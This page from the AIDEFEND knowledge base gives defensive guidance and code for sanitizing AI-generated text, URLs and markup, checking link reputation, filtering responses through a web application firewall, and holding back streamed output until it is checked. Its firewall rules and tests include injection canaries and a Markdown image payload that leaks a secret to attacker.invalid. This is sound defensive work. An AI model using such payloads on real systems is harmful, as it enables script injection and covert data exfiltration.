AID-H-006.002: Text, Markup & Structured Output Sanitization and Release Gate

Version 1.20261015 · Actionable sub-technique

Enforce the preventive boundary between generated text, markup, structured payloads, URLs, and a user or downstream system. Apply sink-specific encoding, schema and URL validation, sensitive-data redaction, remote-subresource removal, and a streaming holdback gate.

Pillars: app

Lifecycle: building, operation

Scope boundary

Owns sanitization and final release of generated text, markup, structured payloads, URLs, and token streams to a specific sink. It does not own non-text media or binary release and does not authorize code execution.

AID-H-006.001: AID-H-006.002 protects the actual destination through encoding, redaction, URL controls, and holdback; AID-H-006.001 enforces only the structured schema. Structure is one input to sink safety rather than the complete release decision.

AID-H-006.004: AID-H-006.002 releases text, markup, URLs, and token streams; AID-H-006.004 safely decodes, re-encodes, scans, quarantines, or releases generated media and binary artifacts. Use the content-derived artifact type rather than the model's declared MIME type to choose the boundary.

AID-H-025: AID-H-006.002 prevents generated text or code from creating unsafe sink behavior during release; AID-H-025 decides whether generated code or an execution request may run and under which interpreter. A safely displayed script is not approved executable code.

AID-H-002.009: AID-H-006.002 owns sink-specific release of model-generated text, markup, URLs, structured payloads, and token streams; AID-H-002.009 owns dataset-parser admission and its conditional bounded-row preview method. For a mixed response, apply each control to its own segment and assign one primary release-gate result to the final bytes rather than double-scoring the same publication.

AID-H-018.009: AID-H-006.002 owns sink-specific release of generated text, markup, structured payloads, URLs, and token streams; AID-H-018.009 confines the local filesystem object that an applicable model-callable handler actually opens or mutates. A path-broker receipt can be an input to release, but it neither sanitizes returned content nor earns a second sink-safety PASS.

Implementation guidance

AID-H-006.002-G001

Escape model outputs to prevent injection attacks into downstream systems.
Concept:

Output escaping only works when the downstream sink is explicit. Treat html_text, shell_arg, and any future sink as different contracts, and fail closed if a caller tries to reuse raw model output in an unspecified context.

Step 1: Centralize sink-specific encoding in one wrapper
# File: output_guards/context_escape.py
from __future__ import annotations

import html
from dataclasses import dataclass
from enum import Enum


class OutputSink(str, Enum):
    HTML_TEXT = "html_text"
    SHELL_ARG = "shell_arg"


@dataclass(frozen=True)
class EscapedOutput:
    sink: OutputSink
    value: str


def escape_model_output(text: str, sink: OutputSink) -> EscapedOutput:
    if sink == OutputSink.HTML_TEXT:
        return EscapedOutput(sink=sink, value=html.escape(text, quote=True))
    if sink == OutputSink.SHELL_ARG:
        if any(ch in text for ch in ("\x00", "\n", "\r")):
            raise ValueError("shell_control_chars_not_allowed")
        return EscapedOutput(sink=sink, value=text)
    raise ValueError("unsupported_output_sink")
Step 2: Integrate at the real sink instead of reusing raw strings
# File: output_guards/integration_examples.py
import math
import subprocess

from output_guards.context_escape import OutputSink, escape_model_output


def render_model_text(raw_output: str) -> str:
    escaped = escape_model_output(raw_output, OutputSink.HTML_TEXT)
    return f"<pre>{escaped.value}</pre>"


def list_single_file_from_model(raw_argument: str, timeout_seconds: float) -> str:
    if not math.isfinite(timeout_seconds) or timeout_seconds <= 0:
        raise ValueError("sink timeout must come from the versioned output-sink policy")
    escaped = escape_model_output(raw_argument, OutputSink.SHELL_ARG)
    completed = subprocess.run(
        ["ls", "-l", "--", escaped.value],
        check=True,
        capture_output=True,
        text=True,
        shell=False,
        timeout=timeout_seconds,
    )
    return completed.stdout
Operational notes

Action: Enumerate every downstream sink that consumes model output and force each call site through a sink-specific encoding wrapper. If the sink is unknown, fail closed and refuse delivery.

Verify safely

A separately credentialed verifier independently reads back or replays each enumerated HTML-text, URL, database, filesystem or process-argv sink receiving model output, exercises positive, negative, boundary and dependency-failure fixtures, and reconciles the complete eligible population.

AID-H-006.002-G002

Validate all URLs in model outputs against safe Browse APIs and blocklists.
Concept:

Any model response that contains outbound links is a delivery surface. Treat those links as untrusted until one output gate has normalized them, rejected internal or non-public destinations, and checked the canonical destination against a reputation service such as Google Safe Browsing. This is an enforcement point, not a best-effort warning.

Step 1: Normalize and reputation-check every extracted URL

Normalize before lookup so policy evaluates the canonical destination rather than a mixed-case, fragment-padded, or wrapper-decorated variant.

# File: output_guards/url_validator.py
from __future__ import annotations
import json
import math

from enum import Enum
import ipaddress
import logging
import os
import re
import socket
import time
from urllib.parse import urlsplit, urlunsplit

import requests

def _required_positive_seconds(name: str) -> float:
    value = float(os.environ[name])
    if not math.isfinite(value) or value <= 0:
        raise RuntimeError(f"{name} must be a finite positive number of seconds")
    return value

SAFE_BROWSING_REQUEST_TIMEOUT_SECONDS = _required_positive_seconds("VERIFIED_H006_SAFE_BROWSING_REQUEST_TIMEOUT_SECONDS")

def _required_positive_int(name: str) -> int:
    value = int(os.environ[name])
    if value <= 0:
        raise RuntimeError(f"{name} must be a positive integer")
    return value


def _required_positive_float(name: str) -> float:
    value = float(os.environ[name])
    if not math.isfinite(value) or value <= 0:
        raise RuntimeError(f"{name} must be a finite positive number")
    return value


URL_VERDICT_CACHE_MAX_SECONDS = _required_positive_int("VERIFIED_H006_URL_VERDICT_CACHE_MAX_SECONDS")
DNS_CACHE_TTL_SECONDS = _required_positive_int("VERIFIED_H006_DNS_CACHE_TTL_SECONDS")
URL_VERDICT_DEFAULT_TTL_SECONDS = _required_positive_int("VERIFIED_H006_URL_VERDICT_DEFAULT_TTL_SECONDS")
URL_VERDICT_FAILURE_TTL_SECONDS = _required_positive_int("VERIFIED_H006_URL_VERDICT_FAILURE_TTL_SECONDS")
SAFE_BROWSING_RETRY_ATTEMPTS = _required_positive_int("VERIFIED_H006_SAFE_BROWSING_RETRY_ATTEMPTS")
SAFE_BROWSING_RESPONSE_MAX_BYTES = _required_positive_int("VERIFIED_H006_SAFE_BROWSING_RESPONSE_MAX_BYTES")
SAFE_BROWSING_RETRY_BACKOFF_BASE_SECONDS = _required_positive_seconds("VERIFIED_H006_SAFE_BROWSING_RETRY_BACKOFF_BASE_SECONDS")
SAFE_BROWSING_RETRY_BACKOFF_MULTIPLIER = _required_positive_float("VERIFIED_H006_SAFE_BROWSING_RETRY_BACKOFF_MULTIPLIER")



SAFE_BROWSING_API_KEY = os.environ["SAFE_BROWSING_API_KEY"]
SAFE_BROWSING_ENDPOINT = "https://safebrowsing.googleapis.com/v5/urls:search"
URL_PATTERN = re.compile(r'https?://[^\s<>"\]]+')
HTTP = requests.Session()
HTTP.trust_env = False
logger = logging.getLogger("url_validator")


class UrlVerdict(str, Enum):
    SAFE = "safe"
    UNSAFE = "unsafe"
    UNAVAILABLE = "unavailable"


_dns_cache: dict[str, tuple[float, bool]] = {}
_url_verdict_cache: dict[str, tuple[float, UrlVerdict]] = {}


def extract_urls(text: str) -> list[str]:
    return URL_PATTERN.findall(text)


def hostname_is_public(hostname: str) -> bool:
    now = time.monotonic()
    cached = _dns_cache.get(hostname)
    if cached and cached[0] > now:
        return cached[1]

    try:
        answers = {item[4][0] for item in socket.getaddrinfo(hostname, None, proto=socket.IPPROTO_TCP)}
    except socket.gaierror:
        _dns_cache[hostname] = (now + DNS_CACHE_TTL_SECONDS, False)
        return False

    is_public = bool(answers) and all(ipaddress.ip_address(answer).is_global for answer in answers)
    _dns_cache[hostname] = (now + DNS_CACHE_TTL_SECONDS, is_public)
    return is_public


def normalize_url(raw_url: str) -> str:
    candidate = raw_url.rstrip(").,;")
    parts = urlsplit(candidate.strip())

    if parts.scheme.lower() not in {"http", "https"}:
        raise ValueError("unsupported_scheme")
    if parts.username or parts.password or not parts.hostname:
        raise ValueError("invalid_host")

    hostname = parts.hostname.encode("idna").decode("ascii").lower()
    if not hostname_is_public(hostname):
        raise ValueError("non_public_destination")

    netloc = hostname if parts.port is None else f"{hostname}:{parts.port}"
    return urlunsplit((parts.scheme.lower(), netloc, parts.path or "/", parts.query, ""))


def _duration_to_seconds(value: str | None, default_seconds: int) -> float:
    if not value or not value.endswith("s"):
        return float(default_seconds)
    try:
        return max(0.0, float(value[:-1]))
    except ValueError:
        return float(default_seconds)


def safe_browsing_verdict(url: str) -> UrlVerdict:
    now = time.monotonic()
    cached = _url_verdict_cache.get(url)
    if cached and cached[0] > now:
        return cached[1]

    last_error: Exception | None = None
    for attempt in range(SAFE_BROWSING_RETRY_ATTEMPTS):
        try:
            with HTTP.get(
                SAFE_BROWSING_ENDPOINT,
                params=[("key", SAFE_BROWSING_API_KEY), ("urls", url)],
                timeout=SAFE_BROWSING_REQUEST_TIMEOUT_SECONDS,
                allow_redirects=False,
                stream=True,
            ) as response:
                if response.status_code == 429 or response.status_code >= 500:
                    raise requests.HTTPError(f"transient_status={response.status_code}", response=response)
                response.raise_for_status()
                if response.headers.get("Content-Type", "").split(";", 1)[0].strip().lower() != "application/json":
                    raise ValueError("safe_browsing_media_type_invalid")
                raw = bytearray()
                for chunk in response.iter_content(chunk_size=min(65536, SAFE_BROWSING_RESPONSE_MAX_BYTES + 1)):
                    if chunk:
                        raw.extend(chunk)
                    if len(raw) > SAFE_BROWSING_RESPONSE_MAX_BYTES:
                        raise ValueError("safe_browsing_response_too_large")
            body = json.loads(bytes(raw))
            if not isinstance(body, dict):
                raise ValueError("safe_browsing_response_invalid")
            verdict = UrlVerdict.UNSAFE if body.get("threats") else UrlVerdict.SAFE
            ttl = min(
                _duration_to_seconds(body.get("cacheDuration"), URL_VERDICT_DEFAULT_TTL_SECONDS),
                URL_VERDICT_CACHE_MAX_SECONDS,
            )
            _url_verdict_cache[url] = (now + ttl, verdict)
            return verdict
        except (requests.RequestException, ValueError) as exc:
            last_error = exc
            if attempt + 1 < SAFE_BROWSING_RETRY_ATTEMPTS:
                time.sleep(SAFE_BROWSING_RETRY_BACKOFF_BASE_SECONDS * (SAFE_BROWSING_RETRY_BACKOFF_MULTIPLIER ** attempt))

    logger.warning("safe_browsing_unavailable url=%s error=%r", url, last_error)
    _url_verdict_cache[url] = (now + URL_VERDICT_FAILURE_TTL_SECONDS, UrlVerdict.UNAVAILABLE)
    return UrlVerdict.UNAVAILABLE


def validate_output_urls(model_output: str) -> list[str]:
    unsafe_urls: list[str] = []
    seen: set[str] = set()

    for raw_url in extract_urls(model_output):
        try:
            normalized = normalize_url(raw_url)
        except ValueError:
            unsafe_urls.append(raw_url)
            continue

        if normalized in seen:
            continue
        seen.add(normalized)

        if safe_browsing_verdict(normalized) != UrlVerdict.SAFE:
            unsafe_urls.append(normalized)

    return unsafe_urls
Step 2: Fail closed before the response leaves the output boundary

If any extracted URL is unsafe or cannot be verified, reject the entire response and emit a structured block event so analysts can correlate the model output with the session and response ID.

# File: output_guards/output_gate.py
import logging

from fastapi import HTTPException

from output_guards.url_validator import validate_output_urls


logger = logging.getLogger("output_gate")


def enforce_safe_links(request_id: str, response_id: str, model_output: str) -> str:
    unsafe_urls = validate_output_urls(model_output)
    if unsafe_urls:
        logger.warning(
            "unsafe_links_detected request_id=%s response_id=%s blocked_urls=%s",
            request_id,
            response_id,
            unsafe_urls,
        )
        raise HTTPException(
            status_code=422,
            detail={
                "error": "unsafe_links_detected",
                "request_id": request_id,
                "response_id": response_id,
                "blocked_urls": unsafe_urls,
            },
        )
    return model_output
Step 3: Verify with a known test URL

In a non-production test environment, pass a response containing the published Safe Browsing test URL https://testsafebrowsing.appspot.com/s/phishing.html. Confirm the API rejects the response and records an auditable block event.

Action: Put URL extraction and reputation validation directly in the model response path. Normalize first, reject non-public destinations, use the Safe Browsing v5 urls.search endpoint for non-commercial deployments, fail closed on lookup errors, and treat the block log as evidence that the output-delivery boundary is working. Use Google Web Risk rather than Safe Browsing when the deployment is commercial or requires enterprise support.

Verify safely

A separately credentialed verifier independently reads back or replays every extracted outbound URL and redirect hop in the exact model-response population, exercises positive, negative, boundary and dependency-failure fixtures, and reconciles the complete eligible population.

AID-H-006.002-G003

Use a Web Application Firewall (WAF) with AI-specific rulesets to filter malicious outputs.
Concept:

A response-body WAF rule is the last enforcement layer before unsafe model output reaches a browser or downstream client. Use it as a defense-in-depth boundary for cases where application sanitization missed active content.

Step 1: Enable response-body inspection in ModSecurity

Response inspection is off by default in many deployments. Resolve MIME coverage and the body limit from a signature-verified, versioned response-inspection policy. The rendered value shown below is illustrative generated configuration, not an AIDEFEND default. Block rollout when the policy, signature, digest, renderer version, or rendered/effective limit cannot be verified.

# File: modsecurity/response-body-base.conf
SecRuleEngine On
SecResponseBodyAccess On
SecResponseBodyMimeType text/plain text/html application/json
SecResponseBodyLimit 1048576
SecAuditEngine RelevantOnly
SecAuditLog /var/log/modsec_audit.log

The 1048576 value above must be replaced by the policy renderer's signed, version-bound value for this route population. A separately credentialed deployment check must read back the effective ModSecurity limit and reject rollout when it differs from the approved rendered artifact.

Step 2: Add response-body rules for active content patterns

Inspect phase 4 so the rule sees the model output after the application has generated it. Start with active content and browser-executable payloads rather than vague keyword matching.

# File: modsecurity/ai-response-rules.conf
SecRule RESPONSE_BODY "@rx (?i)(<script\b|onerror\s*=|javascript:|<iframe\b)"   "id:100100,phase:4,deny,status:403,log,msg:'Blocked active content in AI response',t:none"

SecRule RESPONSE_BODY "@rx (?i)(<img[^>]+src\s*=\s*['\"]?data:text/html|document\.cookie|window\.location\s*=)"   "id:100101,phase:4,deny,status:403,log,msg:'Blocked browser abuse payload in AI response',t:none"
Step 3: Verify with a canned malicious payload

Have a deployment bootstrap signature-verify the versioned response-inspection policy and export its positive probe deadline and maximum decoded response bytes as AIDEFEND_H006_RESPONSE_PROBE_TIMEOUT_SECONDS and AIDEFEND_H006_RESPONSE_PROBE_MAX_BYTES; do not use literal fallbacks. Send a browser-executable canary and require the configured 403 response before release.

#!/usr/bin/env bash
set -euo pipefail
umask 077

: "${AIDEFEND_H006_RESPONSE_PROBE_TIMEOUT_SECONDS:?exported from the verified response-inspection policy}"
: "${AIDEFEND_H006_RESPONSE_PROBE_MAX_BYTES:?exported from the verified response-inspection policy}"
if ! [[ "$AIDEFEND_H006_RESPONSE_PROBE_TIMEOUT_SECONDS" =~ ^([0-9]+([.][0-9]*)?|[.][0-9]+)$ ]] \
  || ! awk -v value="$AIDEFEND_H006_RESPONSE_PROBE_TIMEOUT_SECONDS" 'BEGIN { exit !(value > 0) }'; then
  echo "response probe timeout must be a finite positive number" >&2
  exit 2
fi
if ! [[ "$AIDEFEND_H006_RESPONSE_PROBE_MAX_BYTES" =~ ^[1-9][0-9]*$ ]]; then
  echo "response probe maximum bytes must be a positive integer" >&2
  exit 2
fi

status=$(curl --silent --show-error \
  --proto '=https' --proto-redir '=https' --tlsv1.2 \
  --location --max-redirs 0 \
  --max-time "$AIDEFEND_H006_RESPONSE_PROBE_TIMEOUT_SECONDS" \
  --max-filesize "$AIDEFEND_H006_RESPONSE_PROBE_MAX_BYTES" \
  --request POST "https://ai-gateway.staging.svc.cluster.local/v1/generate" \
  --header "Content-Type: application/json" \
  --data '{"prompt":"Return exactly: <script>alert(1)</script>"}' \
  --output /dev/null --write-out '%{http_code}')
if [[ "$status" != "403" ]]; then
  echo "expected ModSecurity 403, received HTTP $status" >&2
  exit 1
fi

Action: Deploy response-body WAF inspection in front of the AI API, start with deterministic active-content rules, and verify in staging that malicious browser payloads are blocked with an auditable ModSecurity event before the response reaches users.

Keep the action safely bounded

Enable bounded response-body inspection, deploy reviewed managed/custom active-content rules, validate them with correctly encoded canary requests and confirm block/audit events; deny release when required body coverage is truncated or unavailable.

Verify safely

A separately credentialed verifier independently reads back or replays AI response routes and MIME types explicitly covered by response-body inspection, exercises positive, negative, boundary and dependency-failure fixtures, and reconciles the complete eligible population.

AID-H-006.002-G004

Hold generated tokens until the complete response or a bounded release unit has passed detector, redaction, and sink-specific sanitization policy; never release unchecked partial output.
Concept

A detector that runs after tokens are already sent cannot prevent disclosure or active-content execution. Put the release gate in the streaming path. Use full_response mode for tool arguments, code execution, privileged workflows, machine-to-machine output, regulated data, and any irreversible sink. Use windowed mode only for a policy-approved presentation path, retain overlap across release units, and accept that a later finding can stop only the unreleased suffix.

Fail-closed asynchronous release gate
# File: output_guards/stream_release_gate.py
from __future__ import annotations

from collections.abc import AsyncIterator, Awaitable, Callable
from dataclasses import dataclass
from typing import Literal


DetectorStatus = Literal["FINDING", "NO_FINDING", "INSUFFICIENT_DATA", "ERROR"]
ReleaseMode = Literal["full_response", "windowed"]


class OutputReleaseBlocked(RuntimeError):
    pass


@dataclass(frozen=True)
class ReleasePolicy:
    policy_version: str
    mode: ReleaseMode
    maximum_response_chars: int
    release_unit_chars: int
    overlap_chars: int

    def validate(self) -> None:
        if self.maximum_response_chars < 1:
            raise ValueError("maximum_response_chars must be positive")
        if self.mode == "windowed" and not (
            0 < self.overlap_chars < self.release_unit_chars
            <= self.maximum_response_chars
        ):
            raise ValueError("invalid windowed release policy")


async def _checked(
    text: str,
    *,
    detector: Callable[[str], Awaitable[dict]],
    sanitize: Callable[[str], str],
    evidence_sink: Callable[[dict], Awaitable[None]],
    policy: ReleasePolicy,
    response_id: str,
    unit_index: int,
) -> str:
    result = await detector(text)
    status: DetectorStatus = result.get("status", "ERROR")
    evidence = {
        "control_id": "AID-H-006.002",
        "response_id": response_id,
        "release_unit": unit_index,
        "policy_version": policy.policy_version,
        "detector_status": status,
        "detector_evidence": result,
    }
    await evidence_sink(evidence)
    if status != "NO_FINDING":
        raise OutputReleaseBlocked(f"output_not_released:{status}")
    return sanitize(text)


async def release_stream(
    source: AsyncIterator[str],
    *,
    detector: Callable[[str], Awaitable[dict]],
    sanitize: Callable[[str], str],
    evidence_sink: Callable[[dict], Awaitable[None]],
    policy: ReleasePolicy,
    response_id: str,
) -> AsyncIterator[str]:
    policy.validate()
    buffered = ""
    released_tail = ""
    observed_chars = 0
    unit_index = 0

    async for token_text in source:
        if not isinstance(token_text, str):
            raise OutputReleaseBlocked("non_text_stream_chunk")
        observed_chars += len(token_text)
        if observed_chars > policy.maximum_response_chars:
            raise OutputReleaseBlocked("response_size_limit_exceeded")
        buffered += token_text

        if policy.mode == "full_response":
            continue

        while len(buffered) >= policy.release_unit_chars:
            candidate = buffered[:policy.release_unit_chars]
            scan_context = released_tail + candidate
            sanitized = await _checked(
                scan_context,
                detector=detector,
                sanitize=sanitize,
                evidence_sink=evidence_sink,
                policy=policy,
                response_id=response_id,
                unit_index=unit_index,
            )
            # The overlap was already released; release only the new candidate.
            yield sanitized[len(released_tail):]
            released_tail = scan_context[-policy.overlap_chars:]
            buffered = buffered[policy.release_unit_chars:]
            unit_index += 1

    final_context = released_tail + buffered
    if not final_context and policy.mode == "windowed":
        return
    sanitized = await _checked(
        final_context,
        detector=detector,
        sanitize=sanitize,
        evidence_sink=evidence_sink,
        policy=policy,
        response_id=response_id,
        unit_index=unit_index,
    )
    yield sanitized if policy.mode == "full_response" else sanitized[len(released_tail):]
Verification

Replay safe output; a harmful prefix; a harmful suffix; a payload split exactly across release units; detector timeout; malformed detector status; sanitizer exception; upstream stream failure; oversized output; and an empty response. Assert that no unchecked byte reaches the test sink, full-response mode releases nothing before completion, windowed mode preserves the configured overlap, and every release or denial has evidence bound to the response ID, detector revision, policy version, and release-unit index.

Action: Resolve mode, response limit, unit size, and overlap from a signed sink policy. Treat FINDING, INSUFFICIENT_DATA, ERROR, timeout, malformed output, or evidence-write failure as no-release. Never switch a privileged sink to windowed mode to reduce latency.

AID-H-006.002-G005

Remove or proxy all model-generated remote subresources before rendering, disable automatic link previews, and prove through an independent browser-egress test that Markdown, HTML, CSS, SVG, and reference-style links cannot trigger covert fetches.
Before you begin

Missing policy, parser failure, unsupported markup, or evidence-write failure is ERROR and releases nothing.

Step 1: Render and sanitize without loading external resources
// File: output-guards/remote-subresource-gate.mjs
import { createHash } from "node:crypto";
import createDOMPurify from "dompurify";
import { JSDOM } from "jsdom";
import { marked } from "marked";

const FORBIDDEN_TAGS = new Set([
  "base", "embed", "form", "iframe", "img", "input", "link", "math",
  "meta", "object", "picture", "source", "style", "svg", "video", "audio"
]);
const FETCH_ATTRIBUTES = new Set([
  "action", "background", "formaction", "href", "manifest", "ping",
  "poster", "src", "srcset", "style", "xlink:href"
]);
const ALLOWED_TAGS = new Set([
  "a", "blockquote", "br", "code", "del", "em", "h1", "h2", "h3",
  "h4", "h5", "h6", "hr", "li", "ol", "p", "pre", "strong",
  "table", "tbody", "td", "th", "thead", "tr", "ul"
]);
const ALLOWED_ATTR = new Set(["class", "href", "rel", "title"]);

function sha256(value) {
  return createHash("sha256").update(value, "utf8").digest("hex");
}

function collectFetchReferences(document) {
  const references = [];
  for (const element of document.querySelectorAll("*")) {
    const tag = element.tagName.toLowerCase();
    for (const attribute of Array.from(element.attributes)) {
      const name = attribute.name.toLowerCase();
      if (
        FORBIDDEN_TAGS.has(tag) ||
        (FETCH_ATTRIBUTES.has(name) && !(tag === "a" && name === "href"))
      ) {
        references.push({
          tag,
          attribute: name,
          value_sha256: sha256(attribute.value)
        });
      }
    }
  }
  return references;
}

function assertNoAutomaticFetchSurface(document) {
  for (const element of document.querySelectorAll("*")) {
    const tag = element.tagName.toLowerCase();
    if (FORBIDDEN_TAGS.has(tag)) {
      throw new Error("forbidden_fetch_capable_tag_after_sanitization");
    }
    for (const attribute of Array.from(element.attributes)) {
      const name = attribute.name.toLowerCase();
      if (FETCH_ATTRIBUTES.has(name) && !(tag === "a" && name === "href")) {
        throw new Error("fetch_capable_attribute_after_sanitization");
      }
    }
    if (tag === "a") {
      element.setAttribute("rel", "noopener noreferrer");
    }
  }
}

export async function guardMarkdown({
  markdown,
  responseId,
  policyVersion,
  appendEvidence
}) {
  if (
    typeof markdown !== "string" ||
    typeof responseId !== "string" ||
    !responseId ||
    typeof policyVersion !== "string" ||
    !policyVersion ||
    typeof appendEvidence !== "function"
  ) {
    throw new TypeError("invalid_remote_subresource_gate_input");
  }

  // marked and JSDOM parse only in memory; JSDOM does not fetch resources
  // unless a resource loader is explicitly enabled.
  const rendered = marked.parse(markdown, {
    async: false,
    gfm: true
  });
  if (typeof rendered !== "string") {
    throw new Error("markdown_renderer_returned_non_text");
  }

  const inspectionDom = new JSDOM(rendered);
  const blockedReferences = collectFetchReferences(
    inspectionDom.window.document
  );
  inspectionDom.window.close();

  const sanitizerDom = new JSDOM("");
  const DOMPurify = createDOMPurify(sanitizerDom.window);
  const sanitized = DOMPurify.sanitize(rendered, {
    ALLOWED_TAGS: Array.from(ALLOWED_TAGS),
    ALLOWED_ATTR: Array.from(ALLOWED_ATTR),
    FORBID_TAGS: Array.from(FORBIDDEN_TAGS),
    FORBID_ATTR: Array.from(FETCH_ATTRIBUTES).filter(name => name !== "href"),
    ALLOW_DATA_ATTR: false,
    ALLOW_UNKNOWN_PROTOCOLS: false
  });
  sanitizerDom.window.close();

  const verificationDom = new JSDOM(sanitized);
  assertNoAutomaticFetchSurface(verificationDom.window.document);
  const releasedHtml = verificationDom.window.document.body.innerHTML;
  verificationDom.window.close();

  const evidence = {
    schema_version: "aidefend.remote_subresource_gate.v1",
    status: "PASS",
    response_id: responseId,
    policy_version: policyVersion,
    source_sha256: sha256(markdown),
    released_html_sha256: sha256(releasedHtml),
    blocked_reference_count: blockedReferences.length,
    blocked_references: blockedReferences
  };

  // The append-only evidence sink uses credentials unavailable to the renderer.
  // Failure to persist evidence prevents release.
  await appendEvidence(evidence);
  return { html: releasedHtml, evidence };
}
Step 2: Make parser bypasses harmless at the renderer boundary
# Reverse proxy response headers for the isolated rendering origin
Content-Security-Policy: default-src 'none'; img-src 'self' data:; media-src 'self'; connect-src 'none'; frame-src 'none'; object-src 'none'; base-uri 'none'; form-action 'none'
Referrer-Policy: no-referrer
X-Content-Type-Options: nosniff

Disable URL unfurling and automatic link previews for this output channel. If business requirements allow remote media, rewrite it to an opaque internal asset ID and fetch it through a credential-free proxy that enforces destination allowlists, DNS/IP revalidation, redirect limits, response-size limits, and content-type checks. Never place prompt, response, tenant, session, or credential material into a proxy URL.

Step 3: Verify with an independent browser-egress test
// File: test/remote-subresource-gate.test.mjs
import assert from "node:assert/strict";
import test from "node:test";
import { chromium } from "playwright";
import { guardMarkdown } from "../output-guards/remote-subresource-gate.mjs";

test("reference images and active subresources cause no network fetch", async () => {
  const payload = [
    "![status][leak]",
    "[leak]: https://attacker.invalid/pixel?secret=do-not-send",
    '<img src="https://attacker.invalid/direct">',
    '<video poster="https://attacker.invalid/poster"></video>',
    '<div style="background:url(https://attacker.invalid/css)">x</div>'
  ].join("\n");
  const written = [];
  const result = await guardMarkdown({
    markdown: payload,
    responseId: "negative-test-001",
    policyVersion: "render-policy-test",
    appendEvidence: async evidence => written.push(evidence)
  });

  assert.equal(written.length, 1);
  assert.ok(result.evidence.blocked_reference_count >= 4);
  assert.doesNotMatch(result.html, /attacker\.invalid/i);

  const browser = await chromium.launch({ headless: true });
  const page = await browser.newPage();
  const externalRequests = [];
  await page.route("**/*", async route => {
    externalRequests.push(route.request().url());
    await route.abort();
  });
  await page.setContent(result.html, { waitUntil: "networkidle" });
  assert.deepEqual(externalRequests, []);
  await browser.close();
});
Evidence and outcomes

Retain one decision per released response containing the source and released-output digests, policy and sanitizer versions, blocked-reference hashes, renderer build digest, and append-only evidence location. Re-run the negative corpus after parser, sanitizer, Markdown, browser, proxy, or CSP changes. PASS means sanitized release plus zero independently observed egress; any observed request is FAIL; incomplete browser or network observation is INSUFFICIENT_DATA.

Scope boundary: This guidance owns automatic subresource-fetch prevention at output rendering. Navigational URL reputation remains in the URL-validation guidance above, while sensitive-data detection findings come from AID-D-003. Do not move the final release decision out of Harden.

Open-source tools

Commercial / hosted tools

Threat mappings

MITRE ATLAS

MAESTRO

OWASP LLM Top 10 2026

OWASP ML Top 10 2023

OWASP Top 10 for Agentic Applications 2026

NIST Adversarial Machine Learning 2025

Cisco Integrated AI Security and Safety Framework

Google Secure AI Framework 2.0 - Risks

Databricks AI Security Framework 3.0

AID-H-006.002: Text, Markup & Structured Output Sanitization and Release Gate | AIDEFEND

Loading interactive view…

AIDEFEND™

A Practical Knowledge Base for AI Security Defenses

Version

GitHub MCP Service